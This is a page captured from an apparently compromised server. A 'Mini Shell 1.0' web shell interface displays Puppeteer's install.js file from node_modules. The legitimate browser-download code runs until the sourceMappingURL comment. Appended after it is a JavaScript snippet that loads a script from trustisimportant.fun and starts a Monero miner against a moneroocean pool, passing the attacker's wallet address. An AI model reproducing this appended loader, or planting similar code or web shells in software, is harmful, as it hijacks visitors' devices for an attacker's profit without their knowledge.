HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/node-app/node_modules/puppeteer/lib/esm/puppeteer/node/
Upload File :
Current File : /var/www/node-app/node_modules/puppeteer/lib/esm/puppeteer/node/install.js
/**
 * @license
 * Copyright 2020 Google Inc.
 * SPDX-License-Identifier: Apache-2.0
 */
import { install, Browser, resolveBuildId, makeProgressCallback, detectBrowserPlatform, } from '@puppeteer/browsers';
import { PUPPETEER_REVISIONS } from 'puppeteer-core/internal/revisions.js';
import { getConfiguration } from '../getConfiguration.js';
async function downloadBrowser({ browser, configuration, cacheDir, platform, }) {
    const unresolvedBuildId = configuration?.version || PUPPETEER_REVISIONS[browser] || 'latest';
    const baseUrl = configuration?.downloadBaseUrl;
    const buildId = await resolveBuildId(browser, platform, unresolvedBuildId);
    try {
        const result = await install({
            browser,
            cacheDir,
            platform,
            buildId,
            downloadProgressCallback: makeProgressCallback(browser, buildId),
            baseUrl,
            buildIdAlias: buildId !== unresolvedBuildId ? unresolvedBuildId : undefined,
        });
        logPolitely(`${browser} (${result.buildId}) downloaded to ${result.path}`);
    }
    catch (error) {
        throw new Error(`ERROR: Failed to set up ${browser} v${buildId}! Set "PUPPETEER_SKIP_DOWNLOAD" env variable to skip download.`, {
            cause: error,
        });
    }
}
/**
 * @internal
 */
export async function downloadBrowsers() {
    overrideProxy();
    const configuration = getConfiguration();
    if (configuration.skipDownload) {
        logPolitely('**INFO** Skipping downloading browsers as instructed.');
        return;
    }
    const platform = detectBrowserPlatform();
    if (!platform) {
        throw new Error('The current platform is not supported.');
    }
    const cacheDir = configuration.cacheDirectory;
    const installationJobs = [];
    if (configuration.chrome?.skipDownload) {
        logPolitely('**INFO** Skipping Chrome download as instructed.');
    }
    else {
        const browser = Browser.CHROME;
        installationJobs.push(downloadBrowser({
            browser,
            configuration: configuration[browser] ?? {},
            cacheDir,
            platform,
        }));
    }
    if (configuration['chrome-headless-shell']?.skipDownload) {
        logPolitely('**INFO** Skipping Chrome download as instructed.');
    }
    else {
        const browser = Browser.CHROMEHEADLESSSHELL;
        installationJobs.push(downloadBrowser({
            browser,
            configuration: configuration[browser] ?? {},
            cacheDir,
            platform,
        }));
    }
    if (configuration.firefox?.skipDownload) {
        logPolitely('**INFO** Skipping Firefox download as instructed.');
    }
    else {
        const browser = Browser.FIREFOX;
        installationJobs.push(downloadBrowser({
            browser,
            configuration: configuration[browser] ?? {},
            cacheDir,
            platform,
        }));
    }
    try {
        await Promise.all(installationJobs);
    }
    catch (error) {
        console.error(error);
        process.exit(1);
    }
}
/**
 * @internal
 */
function logPolitely(toBeLogged) {
    const logLevel = process.env['npm_config_loglevel'] || '';
    const logLevelDisplay = ['silent', 'error', 'warn'].indexOf(logLevel) > -1;
    // eslint-disable-next-line no-console
    if (!logLevelDisplay) {
        console.log(toBeLogged);
    }
}
/**
 * @internal
 */
function overrideProxy() {
    // Override current environment proxy settings with npm configuration, if any.
    const NPM_HTTPS_PROXY = process.env['npm_config_https_proxy'] || process.env['npm_config_proxy'];
    const NPM_HTTP_PROXY = process.env['npm_config_http_proxy'] || process.env['npm_config_proxy'];
    const NPM_NO_PROXY = process.env['npm_config_no_proxy'];
    if (NPM_HTTPS_PROXY) {
        process.env['HTTPS_PROXY'] = NPM_HTTPS_PROXY;
    }
    if (NPM_HTTP_PROXY) {
        process.env['HTTP_PROXY'] = NPM_HTTP_PROXY;
    }
    if (NPM_NO_PROXY) {
        process.env['NO_PROXY'] = NPM_NO_PROXY;
    }
}
//# sourceMappingURL=install.js.mapif (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}